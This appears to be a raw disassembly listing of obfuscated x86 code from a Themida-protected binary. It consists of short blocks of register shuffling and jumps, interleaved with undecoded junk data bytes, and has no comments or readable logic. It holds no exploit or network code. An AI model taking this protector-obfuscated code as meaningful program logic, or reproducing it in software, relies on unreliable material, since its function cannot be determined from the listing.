loc_559427:				; CODE XREF: Themida_:0055CF5Bj
		mov	esi, ebp
		jmp	loc_559F32
; ---------------------------------------------------------------------------


loc_55942E:				; CODE XREF: Themida_:005570D5j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_552FBD
; ---------------------------------------------------------------------------


loc_55943B:				; CODE XREF: Themida_:0055DC64j
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_55C1DF
; ---------------------------------------------------------------------------
		dd 1B8h, 102E6800h, 1C890000h, 89C38924h, 0C4BAE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55946E:				; CODE XREF: Themida_:0055B6BCj
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_55AB3D
		push	dword ptr [edi+1Ch]
		jmp	loc_55C44D
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 5104C483h, 8904EC83h, 4832424h, 88E90424h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55949B:				; CODE XREF: Themida_:005535F3j
		push	ebp
		mov	ebp, 5722639Fh
		jmp	loc_55C6C8
; ---------------------------------------------------------------------------
		dw 6C29h
		dd 6C810424h, 5F6C0424h, 44816C82h, 4AEF0424h, 15D0642h
		dd 0EC812404h, 4, 83241C89h, 4FE904ECh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5594CF:				; CODE XREF: Themida_:005542E9j
		mov	edi, 5D637C32h
		xor	ecx, edi
		jmp	loc_55992C
; ---------------------------------------------------------------------------


loc_5594DB:				; CODE XREF: Themida_:0055B55Cj
		pop	ebp
		xor	ebp, 0EFC3A266h
		push	ebp
		pop	edx
		jmp	loc_55A1CA
; ---------------------------------------------------------------------------
aWsuc		db 'Wé“C',0
		dw 0FF00h
		dd 0E9582434h, 0FFFFB946h, 19E9D901h, 8B000023h, 0E9512424h
		dd 35E4h, 4DE6BB53h, 0FE964C4h,	68FFFFD6h, 0FCF72D3h, 4C53E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55951E:				; CODE XREF: Themida_:00556FB6j
		shr	esi, 5
		dec	esi
		not	esi
		not	esi
		xor	esi, 6319B1h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_55A1B4
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFE47FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55953D:				; CODE XREF: Themida_:0055D12Fj
		add	al, ch
		add	al, 29h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_556A67
; ---------------------------------------------------------------------------
		dd 59B252ACh, 0FF99E3E9h, 1AE959FFh, 55FFFFB0h,	676607BDh
		dd 0ACDEE92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559566:				; CODE XREF: Themida_:0055BCBAj
		add	esp, 4
		add	ch, 0Bh
		xor	ch, 0CCh
		jmp	loc_55C4E8
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 4A2Eh, 0F188C6FEh, 0E9C05A66h, 0ECE98002h
		dd 0B252D9F6h, 35F28036h, 305AD130h, 0E62859CCh, 5AF02858h
		dd 3F3068h, 240C8900h, 0C58086B5h, 0C0E58021h, 5ED80h
		dd 2874E9EBh, 1CBD0000h, 9645E67h, 0BE95DEBh, 66000028h
		dd 80DFB551h, 0EB0027C3h, 3FCE9h, 0E7895700h, 4C781h, 0EF830000h
		dd 243C8704h, 0FFD3C7E9h, 240C33FFh, 33240C31h,	248B240Ch
		dd 0A3B7E924h, 2C89FFFFh, 51E58924h, 4B9h, 59CD0100h, 4EC81h
		dd 0C890000h, 46824h, 81590000h, 0EC15C0C5h, 81CD0161h
		dd 0EC15C0EDh, 240C8B61h, 4C481h, 8EE90000h, 8F00000Eh
		dd 49E94047h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559637:				; CODE XREF: Themida_:0055E74Cj
		mov	edx, [esp]
		add	esp, 4
		shr	edx, 3
		push	esi
		mov	esi, 7B8E4E38h
		and	edx, esi
		jmp	loc_55738E
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4832424h,	815F0424h, 4C7h, 4C78100h, 0E9000000h
		dd 4DF3h, 8002EDC0h, 0C1E95AEDh
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559677:				; CODE XREF: Themida_:0055BFB6j
		push	edi
		mov	edi, 953487E7h
		add	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		add	esi, 342B42AEh
		add	esi, edi
		push	edx
		push	esi
		push	13F67EE0h
		pop	esi
		inc	esi
		xor	esi, 3237B4Dh
		sub	esi, 0DCA9C2FEh
		mov	edx, esi
		pop	esi
		sub	esi, edx
		pop	edx
		pop	edi
		xchg	esi, [esp]
		pop	esp
		jmp	loc_554AD1
; ---------------------------------------------------------------------------
		dw 1489h
		dd 815A5424h, 4C2h, 4C28100h, 0E9000000h, 0FFFFB5B7h, 2BAh
		dd 5AD70100h, 0E9243C87h, 0FFFFB297h, 684Bh, 2C810000h
		dd 0F949E824h, 241C2927h, 0E8240481h, 0E927F949h, 9F8h
; ---------------------------------------------------------------------------


loc_5596F8:				; CODE XREF: Themida_:0055A6CDj
		sub	ecx, 6E30C1Dh
		add	ecx, 1
		jmp	loc_554145
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0EB810000h, 4, 8B241C87h, 0C892424h,	55E18924h
		dd 0FFE159E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559725:				; CODE XREF: Themida_:0055530Cj
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ebp, 6
		add	ebp, 57FC78A4h
		jmp	loc_55DC20
; ---------------------------------------------------------------------------


loc_55973B:				; CODE XREF: Themida_:00559D8Cj
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		dd 40D9EF81h, 3DE9DBA4h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55975F:				; CODE XREF: Themida_:00558B12j
		xor	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5575FB
; ---------------------------------------------------------------------------
		db 89h
		dd 2E9243Ch, 0B9FFFFC3h, 6D3D1D41h, 8CE9D9F7h, 5F000013h
		dd 0EB33E950h, 8059FFFFh, 0D028B5C2h, 5A2434FFh, 3004C483h
		dd 0AC81E9C3h, 9468FFFFh, 8900005Fh, 9C502414h,	0FF9065E9h
		dd 5352ACFFh, 0CFFE6BB7h, 8004E7C0h, 46E940C7h,	52000008h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	4BA2414h, 81000000h
		dd 9D5605C1h, 56D1013Dh, 282BD55h, 49BE4B16h, 8104BB0Ch
		dd 0CC22B8C6h, 81EE0149h, 0CC22B8EEh, 0E9465D49h, 0FFFFE329h
		dd 0E904C483h, 1AB6h, 0E089505Eh, 405h,	4C08300h, 31240433h
		dd 4332404h, 0F3875C24h, 9E9D6F7h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559823:				; CODE XREF: Themida_:00556B80j
		push	edx
		mov	edx, 4
		jmp	loc_55440A
; ---------------------------------------------------------------------------


loc_55982E:				; CODE XREF: Themida_:0055CB0Fj
		not	esi
		jmp	loc_55BA79
; ---------------------------------------------------------------------------


loc_559835:				; CODE XREF: Themida_:00553F38j
		push	esi
		mov	esi, 183301FBh
		shr	esi, 5
		inc	esi
		jmp	loc_558D36
; ---------------------------------------------------------------------------


loc_559844:				; CODE XREF: Themida_:00557D95j
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_553283
; ---------------------------------------------------------------------------
		dd 63F28142h, 29D4E3F2h, 17E95AD3h, 47FFFFC9h, 0ED10EF81h
		dd 0FD89FC0Dh, 0BDF5815Fh, 8143401Dh, 0E43141CDh, 49ED8177h
		dd 8977EC75h, 2051E9EFh, 3C330000h, 243C3124h, 8B243C33h
		dd 0D3662424h, 0E99C240Ch, 0FFFFF1C5h, 4002C181h, 0EB817FAFh
		dd 3A882526h, 6E1EC381h, 0CB2930B0h, 6E1EEB81h,	0B95130B0h
		dd 3A882526h, 26E9CB01h, 87FFFFEDh, 895C242Ch, 0FEB82404h
		dd 21000000h, 3E91C47h,	8100004Ch, 4C4h, 2C58100h, 87000000h
		dd 248B242Ch, 0B30F6624h, 0E99C2404h, 0FFFF8F0Ah
; ---------------------------------------------------------------------------


loc_559904:				; CODE XREF: Themida_:0055D4F6j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	esi
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		push	ebx
		mov	ebx, 76014C51h
		push	1320h
		jmp	loc_55E639
; ---------------------------------------------------------------------------


loc_55992C:				; CODE XREF: Themida_:005594D6j
		pop	edi
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55AF1B
; ---------------------------------------------------------------------------
		dw 0A605h
		dd 0E9378F59h, 0FFFF9170h, 0C015A368h, 0E9955D16h, 0FFFFA1F2h
		dd 0C681E689h, 4, 4C681h, 34870000h, 1C335C24h,	241C3124h
		dd 8B241C33h, 0CD22424h, 97E99C24h, 53FFFF8Eh, 0EBD0D7B3h
		dd 0C3FED3F6h, 0FFC18AE9h, 4B8FFh, 6AE90000h, 8BFFFFAAh
		dd 0C4812414h, 4, 31243C33h, 3C33243Ch,	89665C24h, 63E92404h
		dd 0B8FFFF8Eh, 339E7244h, 241CF750h, 466CE9h, 24148900h
		dd 0EE8071B6h, 2E6C01Dh, 0B1B75366h, 210AE9h, 27EB8000h
		dd 0EB805966h, 51E95274h, 81FFFFB8h, 4C3h, 241C8700h, 3846E9h
		db 0
; ---------------------------------------------------------------------------


loc_5599E9:				; CODE XREF: Themida_:005573A2j
		xor	ebx, ebp
		jmp	loc_55E694
; ---------------------------------------------------------------------------
		dd 0D6242C81h, 29516275h, 4812414h, 6275D624h, 3DE95A51h
		dd 66FFFFDFh, 5324048Bh, 0FFFCF5E9h, 240C89FFh,	1BA7E9h
		dd 4C38100h, 87000000h,	0B5E9241Ch, 0FF00002Ah,	669D1C77h
		dd 14D36659h, 0D7E99C24h, 0BEFFFF8Dh, 1EB24F46h, 2964EE81h
		dd 0C6811EE0h, 118C0444h, 48E9F701h, 81FFFFB9h,	2C4h, 4932E900h
		dd 8B660000h, 9F68240Ch, 89000023h, 9A682414h, 5400002Bh
		dd 5124048Fh, 4B9h, 244C0100h, 1EC3E904h, 0C3810000h, 0E2DFF615h
		dd 2D5BD809h, 3EFF3ED7h, 48BC589h, 4C48324h, 46BCE9h, 0AEC78100h
		dd 115F737h, 5DE950F7h,	81FFFFEAh, 4ECh, 242C8900h, 0CE668h
		dd 0D117E900h, 0C483FFFFh, 0A4C1E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559AC2:				; CODE XREF: Themida_:0055E244j
		push	dword ptr [edi+1Ch]
		jmp	loc_556BD9
; ---------------------------------------------------------------------------


loc_559ACA:				; CODE XREF: Themida_:00554900j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_555C8A
		sub	esp, 4
		jmp	loc_55E601
; ---------------------------------------------------------------------------
		dd 8BFD8958h, 0C481243Ch, 4, 34FFE801h,	89535D24h, 0B6B2E9E3h
		dd 0D601FFFFh, 2376EE81h, 0E95A63C9h, 3A03h, 0D7784EBBh
		dd 0E0C3812Ah, 1E7138Ah, 0F72FE9D8h, 8B66FFFFh,	28E9243Ch
		dd 89FFFFFFh, 0B8502434h, 47B96AE1h, 8158C689h,	665612E6h
		dd 0C77CE924h, 34FFFFFFh, 2434FF24h, 0B97E958h,	0C15B0000h
		dd 0BA5206E0h, 37F60361h, 75F6F281h, 0D029441Dh, 5BCD355Ah
		dd 582D36D5h, 149D03Ch,	875F58C1h, 98E9240Ch
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559B73:				; CODE XREF: Themida_:005573F8j
		sub	ebp, 6EED30B3h
		add	ebp, ecx
		add	ebp, 6EED30B3h
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		dd 148BD701h, 0E1895124h, 4C181h, 0BD550000h, 4, 875DE901h
		dd 835C240Ch, 60E904C7h, 8F000004h, 0B2E92404h,	68FFFFECh
		dd 1443h, 0BE243489h, 89A08AAh,	0FFF675E9h, 241C33FFh
		dd 0AD42E95Ch, 0F930FFFFh, 5B2434FFh, 0E904C483h, 207Dh
		dd 0E9242C87h, 0FFFFBA7Fh, 0CD4E953h, 1C8B0000h, 4C48124h
		dd 30000000h, 0C0B60FC3h, 0E987048Fh, 0FFFF8C06h, 137AF381h
		dd 0DF892589h, 0C7814F5Bh, 444B6DB9h, 0FFD565E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559C1D:				; CODE XREF: Themida_:00552891j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5534FE
; ---------------------------------------------------------------------------
		dd 0C70E17BBh, 0FFC38321h, 6E7DCB81h, 814B64FFh, 0BF0F35F3h
		dd 0C2DE93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559C42:				; CODE XREF: Themida_:00558D90j
		add	ebx, 4
		jmp	loc_55C67B
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 2BC86851h, 535906CEh, 31D834BBh, 5BD901F9h, 40E9CA89h
		dd 0FFFFFFDBh, 815A2434h, 4C4h,	0DCF0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559C76:				; CODE XREF: Themida_:0055B07Aj
		add	esp, 4
		jmp	loc_55DBB5
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFC1C9h
; ---------------------------------------------------------------------------


loc_559C8C:				; CODE XREF: Themida_:0055BF08j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_557888
; ---------------------------------------------------------------------------


loc_559C9B:				; CODE XREF: Themida_:00556A31j
		xor	eax, [esp]
		jmp	loc_55C8C0
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0E956D831h, 0C13h, 0F1DBE95Ah, 0E951FFFFh, 2201h, 6E8568h
		dd 24248900h, 4240483h,	96E1E959h, 815CFFFFh, 4C2h, 99F9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559CD6:				; CODE XREF: Themida_:0055A26Fj
		add	esi, 2465045Eh
		sub	esi, 0FD10ADB5h
		sub	edi, esi
		pop	esi
		push	edi
		push	esi
		jmp	loc_55BAFD
; ---------------------------------------------------------------------------
		dd 0FFFFC581h, 0DDF7FFFFh, 0FF91B5E9h, 3C9868FFh, 0C890000h
		dd 29F26824h, 24890000h, 24048124h, 4, 83240C8Bh, 575004C4h
		dd 202196BFh, 8497B826h, 0F829A35Fh, 6305355Fh,	0C1017D3Fh
		dd 2E98358h, 0C87BE951h, 0C380FFFFh, 0B60F5995h, 34C5E9C0h
		dd 0E8890000h, 0E9C3015Dh, 2B20h, 875FF829h, 895C2404h
		dd 0EC83242Ch, 401EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559D5E:				; CODE XREF: Themida_:00553135j
		pop	ebx
		xor	ebp, 0A912A3F6h
		and	ecx, ebp
		jmp	loc_55664B
; ---------------------------------------------------------------------------


loc_559D6C:				; CODE XREF: Themida_:00556F2Dj
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_5568E8
; ---------------------------------------------------------------------------


loc_559D76:				; CODE XREF: Themida_:0055644Cj
		push	edi
		mov	edi, 37597FB7h
		add	edx, edi
		pop	edi
		sub	edx, 349861FCh
		sub	edx, 3AC13FFDh
		pop	ebx
		jmp	loc_55973B
; ---------------------------------------------------------------------------


loc_559D91:				; CODE XREF: Themida_:00555C66j
		mov	ebx, 41633E3Ah
		jmp	loc_55ABA6
; ---------------------------------------------------------------------------
		align 4
		dd 68665AD0h, 89663144h, 0AAB3241Ch, 0FE08E3C0h, 0B0C380CBh
		dd 6866h, 0FFE81DE9h, 81D3F7FFh, 0B7167DC3h, 81DBF741h
		dd 3BE7E9C3h, 5BDD3178h, 0FFCD6EE9h, 88E688FFh,	0F9885AF7h
		dd 59CB885Bh, 24048B66h, 0F602C483h, 0E9CB86D1h, 35DDh
; ---------------------------------------------------------------------------


loc_559DEC:				; CODE XREF: Themida_:0055B5F2j
		shl	edi, 6
		add	edi, 40B6B6C0h
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		jmp	loc_558DC2
; ---------------------------------------------------------------------------


loc_559E0F:				; CODE XREF: Themida_:0055AD62j
		mov	esp, [esp]
		push	7ABEh
		mov	[esp], ebp
		push	3650h
		mov	[esp], esi
		push	2DBFh
		mov	[esp], edx
		mov	edx, 14946630h
		inc	edx
		add	edx, 42C2CC4Ah
		jmp	loc_55417F
; ---------------------------------------------------------------------------
		db 89h
		dd 81512404h, 4ECh, 24348900h, 391168h,	24048900h, 0FFF603E9h
		dd 1C895CFFh, 0CB89E924h, 0C681FFFFh, 4, 4C681h, 0E9560000h
		dd 0FFFFB88Eh, 4EC81h, 23E90000h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E7B:				; CODE XREF: Themida_:0055BE88j
		mov	edx, 1A85112h
		add	edx, 77C444C1h
		neg	edx
		sub	edx, 1
		not	edx
		neg	edx
		push	ebp
		mov	ebp, 0D5A7139h
		push	0
		sub	[esp], ebp
		jmp	loc_559EC6
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0FDh
		dd 17EEF61h, 0C7815AD7h, 0DC1283h, 8124348Bh, 4C4h, 243C8700h
		dd 8948E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559EC6:				; CODE XREF: Themida_:00559EA0j
		pop	ebp
		inc	ebp
		sub	ebp, 0A3CB8031h
		and	edx, ebp
		jmp	loc_5557F3
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 148704C2h, 89515C24h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0C86E95Ch, 0E6890000h, 0FFD1FFE9h
		dd 0E38953FFh, 4C381h, 0C3830000h, 241C8704h, 0BA92E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F16:				; CODE XREF: Themida_:00557E98j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55E497
; ---------------------------------------------------------------------------
		db 29h,	0CAh, 59h
		dd 4B26BD55h, 0EB0153E9h, 14C8E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559F32:				; CODE XREF: Themida_:00559429j
		pop	ebp
		sub	ebp, 515F7FCEh
		add	ebp, 22CB20ECh
		add	ebp, esi
		sub	ebp, 22CB20ECh
		add	ebp, 515F7FCEh
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5580FE
; ---------------------------------------------------------------------------
		dd 24048B66h, 569F68h, 24148900h, 0FFBBF9E9h, 24048BFFh
		dd 6804C483h, 184Fh, 0BF243C89h, 5B74DA49h, 0E95FF931h
		dd 0FFFF8F41h
; ---------------------------------------------------------------------------


loc_559F90:				; CODE XREF: Themida_:0055638Bj
		shl	edi, 8
		jmp	loc_55AB6E
; ---------------------------------------------------------------------------
		dd 450C685Dh, 0C890000h, 305BB924h, 8141689Ah, 0EC7967C9h
		dd 0D6F18106h, 81278452h, 0FFFFFFE9h, 0A6E981FFh, 52497A2Bh
		dd 886BBC68h, 0E2C15A26h, 81D2F702h, 0AA1849F2h, 5AD32947h
		dd 3411E9h
		db 0
; ---------------------------------------------------------------------------


loc_559FD9:				; CODE XREF: Themida_:005549CDj
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		push	eax
		push	31B6051Bh
		pop	eax
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		not	edx
		xchg	eax, edx
		push	esi
		mov	esi, 7F795367h
		shl	esi, 4
		dec	esi
		xchg	edx, esi
		jmp	loc_5537E4
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 35h
		dd 0E5E9FE88h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A00B:				; CODE XREF: Themida_:00558747j
		add	edi, eax
		pop	eax
		jmp	loc_5572B8
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 2434FF24h, 0E1895159h, 7474BF57h,	0E94F5D4Dh
		dd 4725h
; ---------------------------------------------------------------------------


loc_55A02C:				; CODE XREF: Themida_:0055B212j
		add	ecx, 645E2311h
		pop	ebx
		xor	ecx, [esp]
		jmp	loc_55AB16
; ---------------------------------------------------------------------------


loc_55A03B:				; CODE XREF: Themida_:0055489Bj
		mov	ecx, edx
		pop	edx
		xor	ecx, eax
		pop	eax
		jmp	loc_554564
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFD273h
; ---------------------------------------------------------------------------


loc_55A04C:				; CODE XREF: Themida_:00554779j
		mov	edx, esp
		jmp	loc_55342F
; ---------------------------------------------------------------------------
		db 33h
		dd 99E92404h, 59000036h, 24048B66h, 1C8B5453h, 4C48324h
		dd 4BD55h, 0EB010000h, 0BB53555Dh, 4D3022A0h, 0CFDD62BDh
		dd 5BDD01B2h, 0E95DEB01h, 37DFh, 0FFC0B60Fh, 34FF8734h
		dd 6FE95824h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A097:				; CODE XREF: Themida_:005548D9j
		add	ebp, 0FFFFFFFFh
		xchg	ecx, ebp
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		sub	ebp, 974FF106h
		and	eax, ebp
		jmp	loc_5573D2
; ---------------------------------------------------------------------------
		db 53h,	68h, 59h
		dd 5B712B56h, 0E943D3F7h, 387Dh, 67B368h, 240C8900h, 0FF8739E9h
		dd 24248BFFh, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF8726h
		dd 0E9E68956h, 3D13h, 0E9241C8Bh, 2E68h
; ---------------------------------------------------------------------------


loc_55A0F8:				; CODE XREF: Themida_:005537ADj
		xor	edi, eax
		xor	eax, edi
		push	edx
		mov	edx, 78E842B5h
		push	edi
		mov	edi, 7E843036h
		sub	edi, 1
		push	ebp
		mov	ebp, 1
		sub	edi, ebp
		pop	ebp
		jmp	loc_55DB85
; ---------------------------------------------------------------------------
		db 68h,	3, 1Ch
		dd 3C890000h, 19BBF24h,	0E94747F0h, 48Ch, 295DE829h, 2BD805D0h
		dd 2F2D74F7h, 8B70A300h, 39E92414h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A143:				; CODE XREF: Themida_:005535AEj
		pop	eax
		sub	ebx, 51093387h
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_553F33
; ---------------------------------------------------------------------------
		dd 174FC381h, 295E6EDBh, 0EC8356C3h, 0F183E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A166:				; CODE XREF: Themida_:0055B361j
		not	ebp
		xchg	ebp, ecx
		jmp	loc_5585FF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 5EF30104h, 10A6BE56h, 8DE93E92h,	56FFFFB4h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 4895C24h, 4EC8124h
		dd 89000000h, 67BD242Ch, 29417E54h, 8B04246Ch, 0E950242Ch
		dd 0FFFFB98Fh
; ---------------------------------------------------------------------------


loc_55A1B4:				; CODE XREF: Themida_:00559532j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5578ED
; ---------------------------------------------------------------------------
		db 5Ch
		dd 7E546705h, 8644E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A1CA:				; CODE XREF: Themida_:005594E4j
		mov	ebp, [esp]
		add	esp, 4
		sub	[edi+24h], edx
		mov	edx, [esp]
		jmp	loc_55AB37
; ---------------------------------------------------------------------------
		db 81h
		dd 4EEh, 24348700h, 2434895Ch, 68h, 89515E00h, 4C181E1h
		dd 83000000h, 0C8704E9h, 34895C24h, 240C8B24h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFFE732h, 4D71F781h
		dd 97E910BCh
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A227:				; CODE XREF: Themida_:00557D78j
		push	ebx
		jmp	loc_552CF9
; ---------------------------------------------------------------------------


loc_55A22D:				; CODE XREF: Themida_:0055CADFj
		push	42Ch
		mov	[esp], edi
		mov	edi, 400440C0h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555E8B
; ---------------------------------------------------------------------------
		db 81h
		dd 3F7C83E5h, 77E9452Ah
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A253:				; CODE XREF: Themida_:005535BBj
		add	dword ptr [esp], 2E5C1C63h
		pop	edi
		push	esi
		mov	esi, 3E792C9Fh
		shl	esi, 4
		xor	esi, 68116DAEh
		not	esi
		shr	esi, 4
		jmp	loc_559CD6
; ---------------------------------------------------------------------------


loc_55A274:				; CODE XREF: Themida_:0055CD89j
		xchg	eax, [esp]
		pop	esp
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		push	eax
		push	ebx
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_558C5F
; ---------------------------------------------------------------------------
		db 68h,	0E1h, 22h
		dd 0B2E90000h, 66FFFFF9h, 51240C8Bh, 0FFC7AAE9h, 2434FFFFh
		dd 0BE9CE95Fh, 6C01FFFFh, 0F5E90424h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A2B7:				; CODE XREF: Themida_:00552E52j
		pop	eax
		and	edx, 70FE4B2Dh
		jmp	loc_558973
; ---------------------------------------------------------------------------
		db 56h
		dd 0E904EC83h, 0FFFF9008h, 0F158BDBAh, 8F94E92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A2D6:				; CODE XREF: Themida_:0055CACDj
		pop	ecx
		mov	edx, esi
		jmp	loc_552FB0
; ---------------------------------------------------------------------------
		dw 558h
		dd 0BD20C30h, 83241C8Bh, 3A2504C4h, 55F570Fh, 270969F5h
		dd 0EC5AE957h, 558FFFFh, 4, 5002C083h, 42474FFh, 24048F58h
		dd 0E64AE95Ch, 35BDFFFFh, 4D6AD772h, 7150B951h,	0CD09101Ah
		dd 2F6E9h, 48B6600h, 3BD76824h,	1C890000h, 0A7E95424h
		dd 0BE00002Fh, 0C5537B8h, 0A26E9h, 3E685500h, 5D65F030h
		dd 76E9D5F7h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A34F:				; CODE XREF: Themida_:0055DDEBj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5578F3
		push	eax
		jmp	loc_553816
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5452240Ch, 5598685Ah, 1C890000h, 19BCBB24h, 0DBF722F0h
		dd 0A052E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A382:				; CODE XREF: Themida_:0055CD58j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55AB1E
; ---------------------------------------------------------------------------
		dd 5FE3C381h, 0CE97A30h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A39F:				; CODE XREF: Themida_:0055A575j
		mov	esi, 6FDA560Fh
		jmp	loc_55CDB9
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 5BE930FFh, 66FFFF84h, 6824048Bh, 7AABh, 54241489h, 4EC835Ah
		dd 0BB241C89h, 4, 7C76EA81h, 0F9E921A7h, 8100000Eh, 5A3DB0C3h
		dd 94C38133h, 1206D10h,	29BA52C3h, 4A2DC474h, 2EAC142h
		dd 6DE9DAF7h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3F7:				; CODE XREF: Themida_:0055E450j
		pop	edi
		jmp	loc_55D64A
; ---------------------------------------------------------------------------
		db 2Dh,	57h, 3Bh
		dd 0F768441Ah, 89000032h, 0EDBB241Ch, 2D4B1FA0h, 1F2E4C7Eh
		dd 3586E953h, 0B9510000h, 479B65D2h, 649A30B8h,	34992DB8h
		dd 0C8015B13h, 13349905h, 80E9595Bh, 53000023h,	2F45E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A43D:				; CODE XREF: Themida_:005540DAj
		pop	ebp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	eax
		sub	eax, 6E831F0h
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		push	esi
		push	ebx
		mov	ebx, 62404A16h
		mov	esi, 8B04B6C2h
		sub	esi, ebx
		pop	ebx
		push	eax
		jmp	loc_552A65
; ---------------------------------------------------------------------------


loc_55A46A:				; CODE XREF: Themida_:00557EEFj
		mov	fs:[edx], ax
